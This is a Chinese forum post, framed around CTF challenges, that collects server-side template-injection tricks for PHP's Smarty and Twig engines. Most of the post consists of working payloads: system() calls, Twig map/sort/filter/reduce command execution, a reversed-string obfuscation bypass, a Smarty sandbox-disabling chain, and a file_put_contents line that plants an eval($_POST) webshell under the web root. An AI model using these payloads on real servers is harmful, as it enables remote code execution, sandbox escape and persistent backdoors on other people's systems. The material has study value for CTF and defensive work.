无名商城论坛

搜索
查看: 502|回复: 0

[TSD/原创] 【HR】php高版本模版注入tricks

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 19:13:16 | 显示全部楼层 |阅读模式

php模板注入的一些tricks
Background
php常见的模板就两种 twig和smarty 在早些版本我们有很多种rce的方法但是随着版本升高新增加的安全策略以及安全人员的各种黑名单导致比较困难去利用,这里浅谈下我的一些发现

Smarty下的模板注入
低版本利用手法
如果你是CTFer 一定记得出自于CISCN2019华东南赛区Web11的一道题

在这里我们可以在X-Forwarded-For里面插入payload来达到rce的效果

比如可以直接调用{{system('cat /flag')}}来获取flag

如果在未经过任何处理的情况下,这段payload可以通杀任何版本

3.1以下还有他独特的利用方法 比如{php}{/php} 通过内置的php标签直接进行函数的调用 比如{php}phpinfo();{/php}

但值得一提的是3.1以下版本太少见 市面上常见的CTF题目都是3.1+ 可以看见他的报错是已经禁止了{php}标签 只允许在SmartyBC里使用

如果你曾经看过ecshop的代码 你会发现 他们经常使用一个标签叫做{literal}

{literal}标签的能力是用来包裹js的,如果平常添加js代码可能会出错 ,如果可以配合php5中的

特殊标签来命令执行

可以看到$_template->source->filepath 进行了直接拼接

而你可以发现我们所做的只要将payload前后各闭合一个注释 让程序包含文件即可命令执行poc: */phpinfo();/*

即可来写入文件包含 具体漏洞详情可以自行搜索CVE-2017-1000480 我就不再多提了

高版本利用方法
demo如下 高版本一般都可以指定沙盒

<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
在<=3.1.38的条件下

我们可以有如下的poc

?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

这种情况我们就可以使用我们的第二个payload

?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
来关闭沙盒执行

使用fetch函数来达到同样渲染模板的作用

Twig下的模板注入
twig有多种多样的过滤器 导致面临着不小的安全问题

{{["id"]|map("system")}}
{{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}}   
{{["id", 0]|sort("system")}}
{{["id"]|filter("system")}}
{{[0, 0]|reduce("system", "id")}}
可以看到分别使用了map sort filter reduce四种构造器都会导致命令执行

他们的底层原理也很简单 走了array家族的这几个 array_filter array_reduce array_map 都会导致命令执行

{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}
可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的 由此看来这些功能丰富的过滤器还是有点意思的

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表